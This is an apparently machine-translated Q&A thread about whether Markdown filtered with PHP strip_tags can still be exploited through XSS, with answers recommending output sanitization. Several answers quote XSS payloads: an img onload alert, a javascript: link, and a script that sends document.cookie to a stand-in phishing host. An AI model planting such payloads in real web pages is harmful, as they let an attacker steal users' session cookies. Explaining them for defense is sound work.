2009-08-04 99 views
9

我正在研究一個Web應用程序,它允許用戶在目錄中鍵入項目的簡短描述。我允許在我的textareas Markdown,所以用戶可以做一些HTML格式。 - 沒有其他HTML,甚至是「基本Markdown(帶strip_tags)足以阻止XSS攻擊嗎?

public function sanitizeText($string, $allowedTags = "") { 
    $string = strip_tags($string, $allowedTags); 

    if(get_magic_quotes_gpc()) { 
     return mysql_real_escape_string(stripslashes($string)); 
    } else { 
     return mysql_real_escape_string($string); 
    } 
} 

從本質上講,所有我在數據庫中存儲的降價:

我的文字淨化功能在數據庫中插入之前去掉任何輸入的文本所有標籤HTML「(就像在這裏)是允許的。

是否允許降價存在任何安全威脅?即使沒有標籤,減價可以XSSed嗎?

回答

9

我認爲從輸入中剝離任何HTML標籤會給你帶來一些非常安全的東西 - 除非有人找到一種方法將一些真正搞砸了的數據注入Markdown,讓它產生一些更多亂七八糟的輸出^^

不過,這裏有,我想起兩兩件事:

第一招:strip_tags是不是一個奇蹟的功能:它有一些缺陷...
例如,之後它就會失去一切'<',在這樣的情況下:

$str = "10 appels is <than 12 apples"; 
var_dump(strip_tags($str)); 

我得到的輸出是:

string '10 appels is ' (length=13) 

這是不是很好的爲您的用戶:-(


第二個:一天或另一個,你可能想要允許一些HTML標籤/屬性;或者,即使在今天,您也可能希望確定Markdown不會生成一些HTML標記/屬性。

您可能會對HTMLPurifier感興趣:它允許您指定應保留哪些標記和屬性,並過濾一個字符串,以便只保留那些字符串。

它還生成有效的HTML代碼 - 這總是好的;-)

2

是否允許減價存在任何 安全威脅?可以降價爲 XSSed,即使它沒有標籤?

這是幾乎不可能在這方面作出絕對的聲明 - 誰又能說什麼降價解析器可以充分畸形輸入被欺騙?

但是,風險可能非常低,因爲它是一個相對簡單的語法。最明顯的攻擊角度應該是javascript:鏈接或圖像中的URL--解析器可能不允許這樣做,但這是我要檢查的。

+0

風險在那裏,減價非常容易妥協。看到我的答案。 – 2011-07-26 19:51:02

0

BBcode提供了更多的安全性,因爲您正在生成標籤。

< IMG SRC = 「」 的onload = 「JavaScript的:警報(\ '哈哈\');」/ >

如果<IMG>是允許的,這將直接經過用strip_tags;)巴姆!

+0

「更安全」?咄? – bart 2009-08-04 09:52:43

+0

Markdown以同樣的方式工作。 – 2009-08-04 09:53:57

3

呈現降價將是最安全的消毒後生成的HTML。如果不這樣做,我認爲人們會在降價能夠執行任意JavaScript像這樣:

[Click me](javascript:alert\('Gotcha!'\);) 

PHP降價將其轉換爲:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p> 

哪個做這項工作。 ...甚至不考慮開始添加代碼來處理這些情況。正確的清理並不容易,只需使用一個好工具並在將Markdown渲染爲HTML之後應用。

7

這就是爲什麼你需要經過消毒的HTML可愛的例子,而不是之前:

降價代碼:

> <script type="text/javascript" 
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l=' 
> + escape\(window.location\) + '&c=' + escape\(document.cookie\); 
> </script> 
> 

呈現爲:

<blockquote> 
<p><script type="text/javascript" 
language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l=' 
+ escape(window.location) + '&amp;c=' + escape(document.cookie); 
</script></p> 
</blockquote> 

現在是你擔心嗎?

1

不,您使用Markdown的方式並不安全。減價可以安全使用,但你必須正確使用它。有關如何安全使用Markdown的詳細信息,請參見here。有關如何安全使用它的詳細信息,請參閱鏈接,但簡短版本爲:使用最新版本設置safe_mode並設置enable_attributes=False非常重要。

該鏈接還解釋了爲什麼轉義輸入然後調用Markdown(因爲您正在做)不足以保證安全。簡短例子:「[clickme](javascript:alert%28%22xss%22%29)」。